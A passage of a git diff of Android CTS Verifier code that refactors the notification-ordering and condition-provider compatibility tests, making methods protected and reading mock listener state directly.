+        protected View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.attention_default_order);
         }
 
         @Override
-        void setUp() {
+        protected void setUp() {
             createChannels();
             sendNotifications(MODE_NONE, false, false);
             status = READY;
-            // wait for notifications to move through the system
-            delay();
         }
 
         @Override
-        void test() {
-            MockListener.probeListenerOrder(mContext,
-                    new MockListener.StringListResultCatcher() {
-                        @Override
-                        public void accept(List<String> orderedKeys) {
-                            int rankA = findTagInKeys(ALICE, orderedKeys);
-                            int rankB = findTagInKeys(BOB, orderedKeys);
-                            int rankC = findTagInKeys(CHARLIE, orderedKeys);
-                            if (rankC < rankB && rankB < rankA) {
-                                status = PASS;
-                            } else {
-                                logFail(rankA + ", " + rankB + ", " + rankC);
-                                status = FAIL;
-                            }
-                            next();
-                        }
-                    });
-            delay();  // in case the catcher never returns
+        protected void test() {
+            List<String> orderedKeys = new ArrayList<>(MockListener.getInstance().mOrder);
+            int rankA = findTagInKeys(ALICE, orderedKeys);
+            int rankB = findTagInKeys(BOB, orderedKeys);
+            int rankC = findTagInKeys(CHARLIE, orderedKeys);
+            if (rankC < rankB && rankB < rankA) {
+                status = PASS;
+            } else {
+                logFail(rankA + ", " + rankB + ", " + rankC);
+                status = FAIL;
+            }
         }
 
         @Override
-        void tearDown() {
+        protected void tearDown() {
             mNm.cancelAll();
             deleteChannels();
-            MockListener.resetListenerData(mContext);
-            delay();
+            MockListener.getInstance().resetData();
         }
     }
 
     // ordered by priority: B, C, A
     protected class PriorityOrderTest extends InteractiveTestCase {
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.attention_priority_order);
         }
 
         @Override
-        void setUp() {
+        protected void setUp() {
             createChannels();
             sendNotifications(MODE_NONE, true, false);
             status = READY;
-            // wait for notifications to move through the system
-            delay();
         }
 
         @Override
-        void test() {
-            MockListener.probeListenerOrder(mContext,
-                    new MockListener.StringListResultCatcher() {
-                        @Override
-                        public void accept(List<String> orderedKeys) {
-                            int rankA = findTagInKeys(ALICE, orderedKeys);
-                            int rankB = findTagInKeys(BOB, orderedKeys);
-                            int rankC = findTagInKeys(CHARLIE, orderedKeys);
-                            if (rankB < rankC && rankC < rankA) {
-                                status = PASS;
-                            } else {
-                                logFail(rankA + ", " + rankB + ", " + rankC);
-                                status = FAIL;
-                            }
-                            next();
-                        }
-                    });
-            delay();  // in case the catcher never returns
+        protected void test() {
+            List<String> orderedKeys = new ArrayList<>(MockListener.getInstance().mOrder);
+            int rankA = findTagInKeys(ALICE, orderedKeys);
+            int rankB = findTagInKeys(BOB, orderedKeys);
+            int rankC = findTagInKeys(CHARLIE, orderedKeys);
+            if (rankB < rankC && rankC < rankA) {
+                status = PASS;
+            } else {
+                logFail(rankA + ", " + rankB + ", " + rankC);
+                status = FAIL;
+            }
         }
 
         @Override
-        void tearDown() {
+        protected void tearDown() {
             mNm.cancelAll();
             deleteChannels();
-            MockListener.resetListenerData(mContext);
-            delay();
+            MockListener.getInstance().resetData();
         }
     }
 
@@ -575,273 +478,224 @@
         boolean mSawElevation = false;
 
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.attention_interruption_order);
         }
 
         @Override
-        void setUp() {
+        protected void setUp() {
+            delayTime = 15000;
             createChannels();
             // send B & C noisy with contact affinity
-            sendNotifications(SEND_B | SEND_C, MODE_URI, false, true);
-            status = READY;
-            // wait for then to not be recently noisy any more
-            delay(15000);
+            sendNotifications(SEND_B, MODE_URI, false, true);
+            sleep(1000);
+            sendNotifications(SEND_C, MODE_URI, false, true);
+            status = READY_AFTER_LONG_DELAY;
         }
 
         @Override
-        void test() {
-            if (status == READY) {
+        protected void test() {
+            if (status == READY_AFTER_LONG_DELAY) {
                 // send A noisy but no contact affinity
                 sendNotifications(SEND_A, MODE_NONE, false, true);
                 status = RETEST;
-                delay();
-            } else if (status == RETEST) {
-                MockListener.probeListenerOrder(mContext,
-                        new MockListener.StringListResultCatcher() {
-                            @Override
-                            public void accept(List<String> orderedKeys) {
-                                int rankA = findTagInKeys(ALICE, orderedKeys);
-                                int rankB = findTagInKeys(BOB, orderedKeys);
-                                int rankC = findTagInKeys(CHARLIE, orderedKeys);
-                                if (!mSawElevation) {
-                                    if (rankA < rankB && rankA < rankC) {
-                                        mSawElevation = true;
-                                        status = RETEST;
-                                        delay(15000);
-                                    } else {
-                                        logFail("noisy notification did not sort to top.");
-                                        status = FAIL;
-                                        next();
-                                    }
-                                } else {
-                                    if (rankA > rankB && rankA > rankC) {
-                                        status = PASS;
-                                    } else {
-                                        logFail("noisy notification did not fade back into the list.");
-                                        status = FAIL;
-                                    }
-                                }
-                            }
-                        });
-                delay();  // in case the catcher never returns
-           }
+            } else if (status == RETEST || status == RETEST_AFTER_LONG_DELAY) {
+                List<String> orderedKeys = new ArrayList<>(MockListener.getInstance().mOrder);
+                int rankA = findTagInKeys(ALICE, orderedKeys);
+                int rankB = findTagInKeys(BOB, orderedKeys);
+                int rankC = findTagInKeys(CHARLIE, orderedKeys);
+                if (!mSawElevation) {
+                    if (rankA < rankB && rankA < rankC) {
+                        mSawElevation = true;
+                        status = RETEST_AFTER_LONG_DELAY;
+                    } else {
+                        logFail("noisy notification did not sort to top.");
+                        status = FAIL;
+                    }
+                } else {
+                    if (rankA > rankB && rankA > rankC) {
+                        status = PASS;
+                    } else {
+                        logFail("noisy notification did not fade back into the list.");
+                        status = FAIL;
+                    }
+                }
+            }
         }
 
         @Override
-        void tearDown() {
+        protected void tearDown() {
             mNm.cancelAll();
             deleteChannels();
-            MockListener.resetListenerData(mContext);
-            delay();
+            MockListener.getInstance().resetData();
         }
     }
 
     // B & C above the fold, A below
     protected class AmbientBitsTest extends InteractiveTestCase {
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.attention_ambient_bit);
         }
 
         @Override
-        void setUp() {
+        protected void setUp() {
             createChannels();
             sendNotifications(SEND_B | SEND_C, MODE_NONE, true, true);
             sendNotifications(SEND_A, MODE_NONE, true, false);
             status = READY;
-            // wait for notifications to move through the system
-            delay();
         }
 
         @Override
-        void test() {
-            MockListener.probeListenerPayloads(mContext,
-                    new MockListener.StringListResultCatcher() {
-                        @Override
-                        public void accept(List<String> result) {
-                            Set<String> found = new HashSet<String>();
-                            if (result == null || result.size() == 0) {
-                                status = FAIL;
-                                return;
-                            }
-                            boolean pass = true;
-                            for (String payloadData : result) {
-                                try {
-                                    JSONObject payload = new JSONObject(payloadData);
-                                    String tag = payload.getString(JSON_TAG);
-                                    boolean ambient = payload.getBoolean(JSON_AMBIENT);
-                                    Log.e(TAG, tag + (ambient ? " is" : " isn't") + " ambient");
-                                    if (found.contains(tag)) {
-                                        // multiple entries for same notification!
-                                        pass = false;
-                                    } else if (ALICE.equals(tag)) {
-                                        found.add(ALICE);
-                                        pass &= ambient;
-                                    } else if (BOB.equals(tag)) {
-                                        found.add(BOB);
-                                        pass &= !ambient;
-                                    } else if (CHARLIE.equals(tag)) {
-                                        found.add(CHARLIE);
-                                        pass &= !ambient;
-                                    }
-                                } catch (JSONException e) {
-                                    pass = false;
-                                    Log.e(TAG, "failed to unpack data from mocklistener", e);
-                                }
-                            }
-                            pass &= found.size() == 3;
-                            status = pass ? PASS : FAIL;
-                            next();
-                        }
-                    });
-            delay();  // in case the catcher never returns
+        protected void test() {
+            List<JSONObject> result = new ArrayList<>(MockListener.getInstance().getPosted());
+
+            Set<String> found = new HashSet<String>();
+            if (result.size() == 0) {
+                status = FAIL;
+                return;
+            }
+            boolean pass = true;
+            for (JSONObject payload : result) {
+                try {
+                    String tag = payload.getString(JSON_TAG);
+                    boolean ambient = payload.getBoolean(JSON_AMBIENT);
+                    Log.e(TAG, tag + (ambient ? " is" : " isn't") + " ambient");
+                    if (found.contains(tag)) {
+                        // multiple entries for same notification!
+                        pass = false;
+                    } else if (ALICE.equals(tag)) {
+                        found.add(ALICE);
+                        pass &= ambient;
+                    } else if (BOB.equals(tag)) {
+                        found.add(BOB);
+                        pass &= !ambient;
+                    } else if (CHARLIE.equals(tag)) {
+                        found.add(CHARLIE);
+                        pass &= !ambient;
+                    }
+                } catch (JSONException e) {
+                    pass = false;
+                    Log.e(TAG, "failed to unpack data from mocklistener", e);
+                }
+            }
+            pass &= found.size() == 3;
+            status = pass ? PASS : FAIL;
         }
 
         @Override
-        void tearDown() {
+        protected void tearDown() {
             mNm.cancelAll();
             deleteChannels();
-            MockListener.resetListenerData(mContext);
-            delay();
+            MockListener.getInstance().resetData();
         }
     }
 
     // ordered by contact affinity: A, B, C
     protected class LookupUriOrderTest extends InteractiveTestCase {
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.attention_lookup_order);
         }
 
         @Override
-        void setUp() {
+        protected void setUp() {
             createChannels();
             sendNotifications(MODE_URI, false, false);
             status = READY;
-            // wait for notifications to move through the system
-            delay();
         }
 
         @Override
-        void test() {
-            MockListener.probeListenerOrder(mContext,
-                    new MockListener.StringListResultCatcher() {
-                        @Override
-                        public void accept(List<String> orderedKeys) {
-                            int rankA = findTagInKeys(ALICE, orderedKeys);
-                            int rankB = findTagInKeys(BOB, orderedKeys);
-                            int rankC = findTagInKeys(CHARLIE, orderedKeys);
-                            if (rankA < rankB && rankB < rankC) {
-                                status = PASS;
-                            } else {
-                                logFail(rankA + ", " + rankB + ", " + rankC);
-                                status = FAIL;
-                            }
-                            next();
-                        }
-                    });
-            delay();  // in case the catcher never returns
+        protected void test() {
+            List<String> orderedKeys = new ArrayList<>(MockListener.getInstance().mOrder);
+            int rankA = findTagInKeys(ALICE, orderedKeys);
+            int rankB = findTagInKeys(BOB, orderedKeys);
+            int rankC = findTagInKeys(CHARLIE, orderedKeys);
+            if (rankA < rankB && rankB < rankC) {
+                status = PASS;
+            } else {
+                logFail(rankA + ", " + rankB + ", " + rankC);
+                status = FAIL;
+            }
         }
 
         @Override
-        void tearDown() {
+        protected void tearDown() {
             mNm.cancelAll();
             deleteChannels();
-            MockListener.resetListenerData(mContext);
-            delay();
+            MockListener.getInstance().resetData();
         }
     }
 
     // ordered by contact affinity: A, B, C
     protected class EmailOrderTest extends InteractiveTestCase {
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.attention_email_order);
         }
 
         @Override
-        void setUp() {
+        protected void setUp() {
             createChannels();
             sendNotifications(MODE_EMAIL, false, false);
             status = READY;
-            // wait for notifications to move through the system
-            delay();
         }
 
         @Override
-        void test() {
-            MockListener.probeListenerOrder(mContext,
-                    new MockListener.StringListResultCatcher() {
-                        @Override
-                        public void accept(List<String> orderedKeys) {
-                            int rankA = findTagInKeys(ALICE, orderedKeys);
-                            int rankB = findTagInKeys(BOB, orderedKeys);
-                            int rankC = findTagInKeys(CHARLIE, orderedKeys);
-                            if (rankA < rankB && rankB < rankC) {
-                                status = PASS;
-                            } else {
-                                logFail(rankA + ", " + rankB + ", " + rankC);
-                                status = FAIL;
-                            }
-                            next();
-                        }
-                    });
-            delay();  // in case the catcher never returns
+        protected void test() {
+            List<String> orderedKeys = new ArrayList<>(MockListener.getInstance().mOrder);
+            int rankA = findTagInKeys(ALICE, orderedKeys);
+            int rankB = findTagInKeys(BOB, orderedKeys);
+            int rankC = findTagInKeys(CHARLIE, orderedKeys);
+            if (rankA < rankB && rankB < rankC) {
+                status = PASS;
+            } else {
+                logFail(rankA + ", " + rankB + ", " + rankC);
+                status = FAIL;
+            }
         }
 
         @Override
-        void tearDown() {
+        protected void tearDown() {
             mNm.cancelAll();
             deleteChannels();
-            MockListener.resetListenerData(mContext);
-            delay();
+            MockListener.getInstance().resetData();
         }
     }
 
     // ordered by contact affinity: A, B, C
     protected class PhoneOrderTest extends InteractiveTestCase {
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.attention_phone_order);
         }
 
         @Override
-        void setUp() {
+        protected void setUp() {
             createChannels();
             sendNotifications(MODE_PHONE, false, false);
             status = READY;
-            // wait for notifications to move through the system
-            delay();
         }
 
         @Override
-        void test() {
-            MockListener.probeListenerOrder(mContext,
-                    new MockListener.StringListResultCatcher() {
-                        @Override
-                        public void accept(List<String> orderedKeys) {
-                            int rankA = findTagInKeys(ALICE, orderedKeys);
-                            int rankB = findTagInKeys(BOB, orderedKeys);
-                            int rankC = findTagInKeys(CHARLIE, orderedKeys);
-                            if (rankA < rankB && rankB < rankC) {
-                                status = PASS;
-                            } else {
-                                logFail(rankA + ", " + rankB + ", " + rankC);
-                                status = FAIL;
-                            }
-                            next();
-                        }
-                    });
-            delay();  // in case the catcher never returns
+        protected void test() {
+            List<String> orderedKeys = new ArrayList<>(MockListener.getInstance().mOrder);
+            int rankA = findTagInKeys(ALICE, orderedKeys);
+            int rankB = findTagInKeys(BOB, orderedKeys);
+            int rankC = findTagInKeys(CHARLIE, orderedKeys);
+            if (rankA < rankB && rankB < rankC) {
+                status = PASS;
+            } else {
+                logFail(rankA + ", " + rankB + ", " + rankC);
+                status = FAIL;
+            }
         }
 
         @Override
-        void tearDown() {
+        protected void tearDown() {
             mNm.cancelAll();
             deleteChannels();
-            MockListener.resetListenerData(mContext);
-            delay();
+            MockListener.getInstance().resetData();
         }
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ConditionProviderVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ConditionProviderVerifierActivity.java
index 24d88b7..46b808b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ConditionProviderVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ConditionProviderVerifierActivity.java
@@ -18,14 +18,15 @@
 
 import com.android.cts.verifier.R;
 
+import android.app.ActivityManager;
 import android.app.AutomaticZenRule;
 import android.app.NotificationManager;
 import android.content.ComponentName;
+import android.content.Context;
 import android.content.Intent;
 import android.net.Uri;
 import android.os.Parcelable;
 import android.provider.Settings;
-import android.provider.Settings.Secure;
 import android.text.TextUtils;
 import android.view.View;
 import android.view.ViewGroup;
@@ -42,12 +43,12 @@
             "/com.android.cts.verifier.notifications.MockConditionProvider";
 
     @Override
-    int getTitleResource() {
+    protected int getTitleResource() {
         return R.string.cp_test;
     }
 
     @Override
-    int getInstructionsResource() {
+    protected int getInstructionsResource() {
         return R.string.cp_info;
     }
 
@@ -56,23 +57,29 @@
     @Override
     protected List<InteractiveTestCase> createTestItems() {
         List<InteractiveTestCase> tests = new ArrayList<>(9);
-        tests.add(new IsEnabledTest());
-        tests.add(new ServiceStartedTest());
-        tests.add(new CreateAutomaticZenRuleTest());
-        tests.add(new UpdateAutomaticZenRuleTest());
-        tests.add(new GetAutomaticZenRuleTest());
-        tests.add(new GetAutomaticZenRulesTest());
-        tests.add(new SubscribeAutomaticZenRuleTest());
-        tests.add(new DeleteAutomaticZenRuleTest());
-        tests.add(new UnsubscribeAutomaticZenRuleTest());
-        tests.add(new IsDisabledTest());
-        tests.add(new ServiceStoppedTest());
+        ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
+        if (am.isLowRamDevice()) {
+            tests.add(new CannotBeEnabledTest());
+            tests.add(new ServiceStoppedTest());
+        } else {
+            tests.add(new IsEnabledTest());
+            tests.add(new ServiceStartedTest());
+            tests.add(new CreateAutomaticZenRuleTest());
+            tests.add(new UpdateAutomaticZenRuleTest());
+            tests.add(new GetAutomaticZenRuleTest());
+            tests.add(new GetAutomaticZenRulesTest());
+            tests.add(new SubscribeAutomaticZenRuleTest());
+            tests.add(new DeleteAutomaticZenRuleTest());
+            tests.add(new UnsubscribeAutomaticZenRuleTest());
+            tests.add(new IsDisabledTest());
+            tests.add(new ServiceStoppedTest());
+        }
         return tests;
     }
 
     protected class IsEnabledTest extends InteractiveTestCase {
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createSettingsItem(parent, R.string.cp_enable_service);
         }
 
@@ -82,15 +89,13 @@
         }
 
         @Override
-        void test() {
+        protected void test() {
             Intent settings = new Intent(Settings.ACTION_NOTIFICATION_POLICY_ACCESS_SETTINGS);
             if (settings.resolveActivity(mPackageManager) == null) {
                 logFail("no settings activity");
                 status = FAIL;
             } else {
-                String cpPackages = Secure.getString(getContentResolver(),
-                        Settings.Secure.ENABLED_NOTIFICATION_POLICY_ACCESS_PACKAGES);
-                if (cpPackages != null && cpPackages.contains(CP_PACKAGE)) {
+                if (mNm.isNotificationPolicyAccessGranted()) {
                     status = PASS;
                 } else {
                     status = WAIT_FOR_USER;
@@ -99,7 +104,41 @@
             }
         }
 
-        void tearDown() {
+        protected void tearDown() {
+            // wait for the service to start
+            delay();
+        }
+    }
+
+    protected class CannotBeEnabledTest extends InteractiveTestCase {
+        @Override
+        protected View inflate(ViewGroup parent) {
+            return createNlsSettingsItem(parent, R.string.cp_cannot_enable_service);
+        }
+
+        @Override
+        boolean autoStart() {
+            return true;
+        }
+
+        @Override
+        protected void test() {
+            mNm.cancelAll();
+            Intent settings = new Intent(NOTIFICATION_LISTENER_SETTINGS);
+            if (settings.resolveActivity(mPackageManager) == null) {
+                logFail("no settings activity");
+                status = FAIL;
+            } else {
+                if (mNm.isNotificationPolicyAccessGranted()) {
+                    status = FAIL;
+                } else {
+                    status = PASS;
+                }
+                next();
+            }
+        }
+
+        protected void tearDown() {
             // wait for the service to start
             delay();
         }
@@ -107,12 +146,12 @@
 
     protected class ServiceStartedTest extends InteractiveTestCase {
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.cp_service_started);
         }
 
         @Override
-        void test() {
+        protected void test() {
             MockConditionProvider.probeConnected(mContext,
                     new MockConditionProvider.BooleanResultCatcher() {
                         @Override
@@ -131,7 +170,7 @@
         }
 
         @Override
-        void tearDown() {
+        protected void tearDown() {
             MockConditionProvider.resetData(mContext);
             delay();
         }
@@ -141,12 +180,12 @@
         private String id = null;
 
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.cp_create_rule);
         }
 
         @Override
-        void test() {
+        protected void test() {
             long now = System.currentTimeMillis();
             AutomaticZenRule ruleToCreate =
                     createRule("Rule", "value", NotificationManager.INTERRUPTION_FILTER_ALARMS);
@@ -162,7 +201,7 @@
         }
 
         @Override
-        void tearDown() {
+        protected void tearDown() {
             if (id != null) {
                 mNm.removeAutomaticZenRule(id);
             }
@@ -175,12 +214,12 @@
         private String id = null;
 
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.cp_update_rule);
         }
 
         @Override
-        void setUp() {
+        protected void setUp() {
             id = mNm.addAutomaticZenRule(createRule("BeforeUpdate", "beforeValue",
                     NotificationManager.INTERRUPTION_FILTER_ALARMS));
             status = READY;
@@ -188,7 +227,7 @@
         }
 
         @Override
-        void test() {
+        protected void test() {
             AutomaticZenRule updated = mNm.getAutomaticZenRule(id);
             updated.setName("AfterUpdate");
             updated.setConditionId(MockConditionProvider.toConditionId("afterValue"));
@@ -210,7 +249,7 @@
         }
 
         @Override
-        void tearDown() {
+        protected void tearDown() {
             if (id != null) {
                 mNm.removeAutomaticZenRule(id);
             }
@@ -224,12 +263,12 @@
         private AutomaticZenRule ruleToCreate;
 
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.cp_subscribe_rule);
         }
 
         @Override
-        void setUp() {
+        protected void setUp() {
             ruleToCreate = createRule("RuleSubscribe", "Subscribevalue",
                     NotificationManager.INTERRUPTION_FILTER_ALARMS);
             id = mNm.addAutomaticZenRule(ruleToCreate);
@@ -238,7 +277,7 @@
         }
 
         @Override
-        void test() {
+        protected void test() {
 
             MockConditionProvider.probeSubscribe(mContext,
                     new MockConditionProvider.ParcelableListResultCatcher() {
@@ -265,7 +304,7 @@
         }
 
         @Override
-        void tearDown() {
+        protected void tearDown() {
             if (id != null) {
                 mNm.removeAutomaticZenRule(id);
             }
@@ -280,12 +319,12 @@
         private AutomaticZenRule ruleToCreate;
 
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.cp_get_rule);
         }
 
         @Override
-        void setUp() {
+        protected void setUp() {
             ruleToCreate = createRule("RuleGet", "valueGet",
                     NotificationManager.INTERRUPTION_FILTER_ALARMS);
             id = mNm.addAutomaticZenRule(ruleToCreate);
@@ -294,7 +333,7 @@
         }
 
         @Override
-        void test() {
+        protected void test() {
             AutomaticZenRule queriedRule = mNm.getAutomaticZenRule(id);
             if (queriedRule != null
                     && ruleToCreate.getName().equals(queriedRule.getName())
@@ -310,7 +349,7 @@
         }
 
         @Override
-        void tearDown() {
+        protected void tearDown() {
             if (id != null) {
                 mNm.removeAutomaticZenRule(id);
             }
@@ -325,12 +364,12 @@
         private AutomaticZenRule rule2;
 
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.cp_get_rules);
         }
 
         @Override
-        void setUp() {
+        protected void setUp() {
             rule1 = createRule("Rule1", "value1", NotificationManager.INTERRUPTION_FILTER_ALARMS);
             rule2 = createRule("Rule2", "value2", NotificationManager.INTERRUPTION_FILTER_NONE);
             ids.add(mNm.addAutomaticZenRule(rule1));
@@ -340,7 +379,7 @@
         }
 
         @Override
-        void test() {
+        protected void test() {
             Map<String, AutomaticZenRule> rules = mNm.getAutomaticZenRules();
 
             if (rules == null || rules.size() != 2) {
@@ -362,7 +401,7 @@
         }
 
         @Override
-        void tearDown() {
+        protected void tearDown() {
             for (String id : ids) {
                 mNm.removeAutomaticZenRule(id);
             }
@@ -375,12 +414,12 @@
         private String id = null;
 
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.cp_delete_rule);
         }
 
         @Override
-        void test() {
+        protected void test() {
             AutomaticZenRule ruleToCreate = createRule("RuleDelete", "Deletevalue",
                     NotificationManager.INTERRUPTION_FILTER_ALARMS);
             id = mNm.addAutomaticZenRule(ruleToCreate);
@@ -405,7 +444,7 @@
         }
 
         @Override
-        void tearDown() {
+        protected void tearDown() {
             MockConditionProvider.resetData(mContext);
             delay();
         }
@@ -416,12 +455,12 @@
         private AutomaticZenRule ruleToCreate;
 
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.cp_unsubscribe_rule);
         }
 
         @Override
-        void setUp() {
+        protected void setUp() {
             ruleToCreate = createRule("RuleUnsubscribe", "valueUnsubscribe",
                     NotificationManager.INTERRUPTION_FILTER_PRIORITY);
             id = mNm.addAutomaticZenRule(ruleToCreate);
@@ -430,7 +469,7 @@
         }
 
         @Override
-        void test() {
+        protected void test() {
             MockConditionProvider.probeSubscribe(mContext,
                     new MockConditionProvider.ParcelableListResultCatcher() {
                         @Override
@@ -484,7 +523,7 @@
         }
 
         @Override
-        void tearDown() {
+        protected void tearDown() {
             mNm.removeAutomaticZenRule(id);
             MockConditionProvider.resetData(mContext);
             // wait for intent to move through the system
@@ -494,7 +533,7 @@
 
     private class IsDisabledTest extends InteractiveTestCase {
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createSettingsItem(parent, R.string.cp_disable_service);
         }
 
@@ -504,10 +543,8 @@
         }
 
         @Override
-        void test() {
-            String cpPackages = Secure.getString(getContentResolver(),
-                    Settings.Secure.ENABLED_NOTIFICATION_POLICY_ACCESS_PACKAGES);
-            if (cpPackages == null || !cpPackages.contains(CP_PACKAGE)) {
+        protected void test() {
+            if (!mNm.isNotificationPolicyAccessGranted()) {
                 status = PASS;
             } else {
                 status = WAIT_FOR_USER;
@@ -516,7 +553,7 @@
         }
 
         @Override
-        void tearDown() {
+        protected void tearDown() {
             MockConditionProvider.resetData(mContext);
             delay();
         }
@@ -524,12 +561,12 @@
 
     private class ServiceStoppedTest extends InteractiveTestCase {
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.cp_service_stopped);
         }
 
         @Override
-        void test() {
+        protected void test() {
             MockConditionProvider.probeConnected(mContext,
                     new MockConditionProvider.BooleanResultCatcher() {
                         @Override
@@ -548,7 +585,7 @@
         }
 
         @Override
-        void tearDown() {
+        protected void tearDown() {
             MockConditionProvider.resetData(mContext);
             // wait for intent to move through the system
             delay();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
index de3b050..1433914 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
@@ -16,7 +16,6 @@
 
 package com.android.cts.verifier.notifications;
 
-import android.app.Activity;
 import android.app.NotificationManager;
 import android.app.PendingIntent;
 import android.app.Service;
@@ -59,6 +58,8 @@
     protected static final int PASS = 3;
     protected static final int FAIL = 4;
     protected static final int WAIT_FOR_USER = 5;
+    protected static final int RETEST_AFTER_LONG_DELAY = 6;
+    protected static final int READY_AFTER_LONG_DELAY = 7;
 
     protected static final int NOTIFICATION_ID = 1001;
 
@@ -93,10 +94,12 @@
     }
 
     protected abstract class InteractiveTestCase {
-        int status;
+        protected boolean mUserVerified;
+        protected int status;
         private View view;
+        protected long delayTime = 3000;
 
-        abstract View inflate(ViewGroup parent);
+        protected abstract View inflate(ViewGroup parent);
         View getView(ViewGroup parent) {
             if (view == null) {
                 view = inflate(parent);
@@ -110,13 +113,18 @@
         }
 
         /** Set status to {@link #READY} to proceed, or {@link #SETUP} to try again. */
-        void setUp() { status = READY; next(); };
+        protected void setUp() { status = READY; next(); };
 
         /** Set status to {@link #PASS} or @{link #FAIL} to proceed, or {@link #READY} to retry. */
-        void test() { status = FAIL; next(); };
+        protected void test() { status = FAIL; next(); };
 
         /** Do not modify status. */
-        void tearDown() { next(); };
+        protected void tearDown() { next(); };
+
+        protected void setFailed() {
+            status = FAIL;
+            logFail();
+        }
 
         protected void logFail() {
             logFail(null);
@@ -127,14 +135,14 @@
                     ((message == null) ? "" : ": " + message));
         }
 
-        protected void logFail(String message, Exception e) {
+        protected void logFail(String message, Throwable e) {
             Log.e(TAG, "failed " + this.getClass().getSimpleName() +
                     ((message == null) ? "" : ": " + message), e);
         }
     }
 
-    abstract int getTitleResource();
-    abstract int getInstructionsResource();
+    protected abstract int getTitleResource();
+    protected abstract int getInstructionsResource();
 
     protected void onCreate(Bundle savedState) {
         super.onCreate(savedState);
@@ -261,22 +269,45 @@
             case SETUP:
                 Log.i(TAG, "running setup for: " + mCurrentTest.getClass().getSimpleName());
                 mCurrentTest.setUp();
+                if (mCurrentTest.status == READY_AFTER_LONG_DELAY) {
+                    delay(mCurrentTest.delayTime);
+                } else {
+                    delay();
+                }
                 break;
 
             case WAIT_FOR_USER:
                 Log.i(TAG, "waiting for user: " + mCurrentTest.getClass().getSimpleName());
                 break;
 
+            case READY_AFTER_LONG_DELAY:
+            case RETEST_AFTER_LONG_DELAY:
             case READY:
             case RETEST:
                 Log.i(TAG, "running test for: " + mCurrentTest.getClass().getSimpleName());
-                mCurrentTest.test();
+                try {
+                    mCurrentTest.test();
+                    if (mCurrentTest.status == RETEST_AFTER_LONG_DELAY) {
+                        delay(mCurrentTest.delayTime);
+                    } else {
+                        delay();
+                    }
+                } catch (Throwable t) {
+                    mCurrentTest.status = FAIL;
+                    markItem(mCurrentTest);
+                    Log.e(TAG, "FAIL: " + mCurrentTest.getClass().getSimpleName(), t);
+                    mCurrentTest.tearDown();
+                    mCurrentTest = null;
+                    delay();
+                }
+
                 break;
 
             case FAIL:
                 Log.i(TAG, "FAIL: " + mCurrentTest.getClass().getSimpleName());
                 mCurrentTest.tearDown();
                 mCurrentTest = null;
+                delay();
                 break;
 
             case PASS:
@@ -285,6 +316,7 @@
                 if (mTestOrder.hasNext()) {
                     mCurrentTest = mTestOrder.next();
                     Log.i(TAG, "next test is: " + mCurrentTest.getClass().getSimpleName());
+                    next();
                 } else {
                     Log.i(TAG, "no more tests");
                     mCurrentTest = null;
@@ -345,6 +377,9 @@
                     next();
                 }
             }
+            if (mCurrentTest != null) {
+                mCurrentTest.mUserVerified = true;
+            }
         }
     }
 
@@ -424,7 +459,7 @@
 
     protected class IsEnabledTest extends InteractiveTestCase {
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createNlsSettingsItem(parent, R.string.nls_enable_service);
         }
 
@@ -434,7 +469,7 @@
         }
 
         @Override
-        void test() {
+        protected void test() {
             mNm.cancelAll();
             Intent settings = new Intent(NOTIFICATION_LISTENER_SETTINGS);
             if (settings.resolveActivity(mPackageManager) == null) {
@@ -452,7 +487,7 @@
             }
         }
 
-        void tearDown() {
+        protected void tearDown() {
             // wait for the service to start
             delay();
         }
@@ -460,33 +495,57 @@
 
     protected class ServiceStartedTest extends InteractiveTestCase {
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.nls_service_started);
         }
 
         @Override
-        void test() {
-            MockListener.probeListenerStatus(mContext,
-                    new MockListener.StatusCatcher() {
-                        @Override
-                        public void accept(int result) {
-                            if (result == Activity.RESULT_OK) {
-                                status = PASS;
-                                next();
-                            } else {
-                                logFail();
-                                status = RETEST;
-                                delay();
